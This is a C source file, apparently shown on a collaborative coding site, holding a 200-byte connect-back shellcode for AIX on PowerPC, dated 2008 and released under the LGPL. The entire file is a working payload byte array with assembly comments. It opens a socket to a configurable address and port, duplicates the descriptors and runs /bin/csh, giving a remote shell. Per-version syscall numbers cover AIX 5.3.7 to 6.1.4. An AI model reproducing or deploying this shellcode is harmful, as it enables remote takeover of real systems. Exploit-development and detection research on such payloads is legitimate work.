Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
/*
2
 *  aix-power-cntsockcode.c
3
 *  Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
 *
5
 *  This library is free software; you can redistribute it and/or
6
 *  modify it under the terms of the GNU Lesser General Public
7
 *  License as published by the Free Software Foundation; either
8
 *  version 2.1 of the License, or (at your option) any later version.
9
 *
10
 *  This library is distributed in the hope that it will be useful,
11
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
12
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
13
 *  Lesser General Public License for more details.
14
 *
15
 *  You should have received a copy of the GNU Lesser General Public
16
 *  License along with this library; if not, write to the Free Software
17
 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
18
 *
19
 */
20

21
/*
22
 * Supported AIX versions:
23
 *
24
 * -DAIX614     AIX Version 6.1.4
25
 * -DAIX613     AIX Version 6.1.3
26
 * -DAIX612     AIX Version 6.1.2
27
 * -DAIX611     AIX Version 6.1.1
28
 * -DAIX5310    AIX Version 5.3.10
29
 * -DAIX539     AIX Version 5.3.9
30
 * -DAIX538     AIX Version 5.3.8
31
 * -DAIX537     AIX Version 5.3.7
32
 *
33
 */
34

35
#define CNTSOCKADDR 32
36
#define CNTSOCKPORT 30
37

38
char cntsockcode[]=         /*  200 bytes                         */
39
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
40
    "\x40\x82\xff\xfd"      /*  bnel    <cntsockcode>             */
41
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
42
    "\x3b\xde\x01\xff"      /*  cal     r30,511(r30)              */
43
    "\x3b\xde\xfe\x25"      /*  cal     r30,-475(r30)             */
44
    "\x7f\xc9\x03\xa6"      /*  mtctr   r30                       */
45
    "\x4e\x80\x04\x20"      /*  bctr                              */
46
    "\xff\x02\x04\xd2"      /*  .long   0xff0204d2                */
47
    "\x7f\x00\x00\x01"      /*  .long   0x7f000001                */
48
    "\x4c\xc6\x33\x42"      /*  crorc   6,6,6                     */
49
    "\x44\xff\xff\x02"      /*  svca    0                         */
50
    "\x3b\xde\xff\xf8"      /*  cal     r30,-8(r30)               */
51
    "\x3b\xa0\x07\xff"      /*  lil     r29,2047                  */
52
    "\x38\x9d\xf8\x02"      /*  cal     r4,-2046(r29)             */
53
    "\x38\x7d\xf8\x03"      /*  cal     r3,-2045(r29)             */
54
#ifdef AIX614
55
    "\x38\x5d\xf8\xf4"      /*  cal     r2,-1804(r29)             */
56
#endif
57
#ifdef AIX613
58
    "\x38\x5d\xf8\xef"      /*  cal     r2,-1809(r29)             */
59
#endif
60
#ifdef AIX612
61
    "\x38\x5d\xf8\xef"      /*  cal     r2,-1809(r29)             */
62
#endif
63
#ifdef AIX611
64
    "\x38\x5d\xf8\xec"      /*  cal     r2,-1812(r29)             */
65
#endif
66
#ifdef AIX610
67
    "\x38\x5d\xf8\xec"      /*  cal     r2,-1812(r29)             */
68
#endif
69
#ifdef AIX5310
70
    "\x38\x5d\xf8\xda"      /*  cal     r2,-1830(r29)             */
71
#endif
72
#ifdef AIX539
73
    "\x38\x5d\xf8\xda"      /*  cal     r2,-1830(r29)             */
74
#endif
75
#ifdef AIX538
76
    "\x38\x5d\xf8\xda"      /*  cal     r2,-1830(r29)             */
77
#endif
78
#ifdef AIX537
79
    "\x38\x5d\xf8\xda"      /*  cal     r2,-1830(r29)             */
80
#endif
81

82
    "\x7f\xc9\x03\xa6"      /*  mtctr   r30                       */
83
    "\x4e\x80\x04\x21"      /*  bctrl                             */
84
    "\x7c\x7c\x1b\x78"      /*  mr      r28,r3                    */
85
    "\x38\xbd\xf8\x11"      /*  cal     r5,-2031(r29)             */
86
    "\x38\x9e\xff\xf8"      /*  cal     r4,-8(r30)                */
87
#ifdef AIX614
88
    "\x38\x5d\xf8\xf5"      /*  cal     r2,-1803(r29)             */
89
#endif
90
#ifdef AIX613
91
    "\x38\x5d\xf8\xf0"      /*  cal     r2,-1808(r29)             */
92
#endif
93
#ifdef AIX612
94
    "\x38\x5d\xf8\xf0"      /*  cal     r2,-1808(r29)             */
95
#endif
96
#ifdef AIX611
97
    "\x38\x5d\xf8\xed"      /*  cal     r2,-1811(r29)             */
98
#endif
99
#ifdef AIX610
100
    "\x38\x5d\xf8\xed"      /*  cal     r2,-1811(r29)             */
101
#endif
102
#ifdef AIX5310
103
    "\x38\x5d\xf8\xdb"      /*  cal     r2,-1829(r29)             */
104
#endif
105
#ifdef AIX539
106
    "\x38\x5d\xf8\xdb"      /*  cal     r2,-1829(r29)             */
107
#endif
108
#ifdef AIX538
109
    "\x38\x5d\xf8\xdb"      /*  cal     r2,-1829(r29)             */
110
#endif
111
#ifdef AIX537
112
    "\x38\x5d\xf8\xdb"      /*  cal     r2,-1829(r29)             */
113
#endif
114

115
    "\x7f\xc9\x03\xa6"      /*  mtctr   r30                       */
116
    "\x4e\x80\x04\x21"      /*  bctrl                             */
117
    "\x3b\x7d\xf8\x03"      /*  cal     r27,-2045(r29)            */
118
    "\x7f\x63\xdb\x78"      /*  mr      r3,r27                    */
119
#ifdef AIX614
120
    "\x38\x5d\xf9\x17"      /*  cal     r2,-1769(r29)             */
121
#endif
122
#ifdef AIX613
123
    "\x38\x5d\xf9\x11"      /*  cal     r2,-1775(r29)             */
124
#endif
125
#ifdef AIX612
126
    "\x38\x5d\xf9\x11"      /*  cal     r2,-1775(r29)             */
127
#endif
128
#ifdef AIX611
129
    "\x38\x5d\xf9\x0e"      /*  cal     r2,-1778(r29)             */
130
#endif
131
#ifdef AIX610
132
    "\x38\x5d\xf9\x0e"      /*  cal     r2,-1778(r29)             */
133
#endif
134
#ifdef AIX5310
135
    "\x38\x5d\xf8\xf6"      /*  cal     r2,-1802(r29)             */
136
#endif
137
#ifdef AIX539
138
    "\x38\x5d\xf8\xf6"      /*  cal     r2,-1802(r29)             */
139
#endif
140
#ifdef AIX538
141
    "\x38\x5d\xf8\xf6"      /*  cal     r2,-1802(r29)             */
142
#endif
143
#ifdef AIX537
144
    "\x38\x5d\xf8\xf6"      /*  cal     r2,-1802(r29)             */
145
#endif
146

147
    "\x7f\xc9\x03\xa6"      /*  mtctr   r30                       */
148
    "\x4e\x80\x04\x21"      /*  bctrl                             */
149
    "\x7f\x65\xdb\x78"      /*  mr      r5,r27                    */
150
    "\x7c\x84\x22\x78"      /*  xor     r4,r4,r4                  */
151
    "\x7f\x83\xe3\x78"      /*  mr      r3,r28                    */
152
#ifdef AIX614
153
    "\x38\x5d\xfa\x93"      /*  cal     r2,-1389(r29)             */
154
#endif
155
#ifdef AIX613
156
    "\x38\x5d\xfa\x85"      /*  cal     r2,-1403(r29)             */
157
#endif
158
#ifdef AIX612
159
    "\x38\x5d\xfa\x7c"      /*  cal     r2,-1412(r29)             */
160
#endif
161
#ifdef AIX611
162
    "\x38\x5d\xfa\x67"      /*  cal     r2,-1433(r29)             */
163
#endif
164
#ifdef AIX610
165
    "\x38\x5d\xfa\x6a"      /*  cal     r2,-1430(r29)             */
166
#endif
167
#ifdef AIX5310
168
    "\x38\x5d\xf9\xee"      /*  cal     r2,-1554(r29)             */
169
#endif
170
#ifdef AIX539
171
    "\x38\x5d\xf9\xee"      /*  cal     r2,-1554(r29)             */
172
#endif
173
#ifdef AIX538
174
    "\x38\x5d\xf9\xee"      /*  cal     r2,-1554(r29)             */
175
#endif
176
#ifdef AIX537
177
    "\x38\x5d\xf9\xee"      /*  cal     r2,-1554(r29)             */
178
#endif
179

180
    "\x7f\xc9\x03\xa6"      /*  mtctr   r30                       */
181
    "\x4e\x80\x04\x21"      /*  bctrl                             */
182
    "\x37\x7b\xff\xff"      /*  ai.     r27,r27,-1                */
183
    "\x40\x80\xff\xd4"      /*  bge     <cntsockcode+100>         */
184
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
185
    "\x40\x82\xff\xfd"      /*  bnel    <cntsockcode+148>         */
186
    "\x7f\x08\x02\xa6"      /*  mflr    r24                       */
187
    "\x3b\x18\x01\xff"      /*  cal     r24,511(r24)              */
188
    "\x38\x78\xfe\x29"      /*  cal     r3,-471(r24)              */
189
    "\x98\xb8\xfe\x31"      /*  stb     r5,-463(r24)              */
190
    "\x94\xa1\xff\xfc"      /*  stu     r5,-4(r1)                 */
191
    "\x94\x61\xff\xfc"      /*  stu     r3,-4(r1)                 */
192
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
193
#ifdef AIX614
194
    "\x38\x5d\xf8\x08"      /*  cal     r2,-2040(r29)             */
195
#endif
196
#ifdef AIX613
197
    "\x38\x5d\xf8\x08"      /*  cal     r2,-2040(r29)             */
198
#endif
199
#ifdef AIX612
200
    "\x38\x5d\xf8\x08"      /*  cal     r2,-2040(r29)             */
201
#endif
202
#ifdef AIX611
203
    "\x38\x5d\xf8\x08"      /*  cal     r2,-2040(r29)             */
204
#endif
205
#ifdef AIX610
206
    "\x38\x5d\xf8\x07"      /*  cal     r2,-2041(r29)             */
207
#endif
208
#ifdef AIX5310
209
    "\x38\x5d\xf8\x07"      /*  cal     r2,-2041(r29)             */
210
#endif
211
#ifdef AIX539
212
    "\x38\x5d\xf8\x07"      /*  cal     r2,-2041(r29)             */
213
#endif
214
#ifdef AIX538
215
    "\x38\x5d\xf8\x07"      /*  cal     r2,-2041(r29)             */
216
#endif
217
#ifdef AIX537
218
    "\x38\x5d\xf8\x07"      /*  cal     r2,-2041(r29)             */
219
#endif
220

221
    "\x7f\xc9\x03\xa6"      /*  mtctr   r30                       */
222
    "\x4e\x80\x04\x21"      /*  bctrl                             */
223
    "/bin/csh"
224
;
225

226

227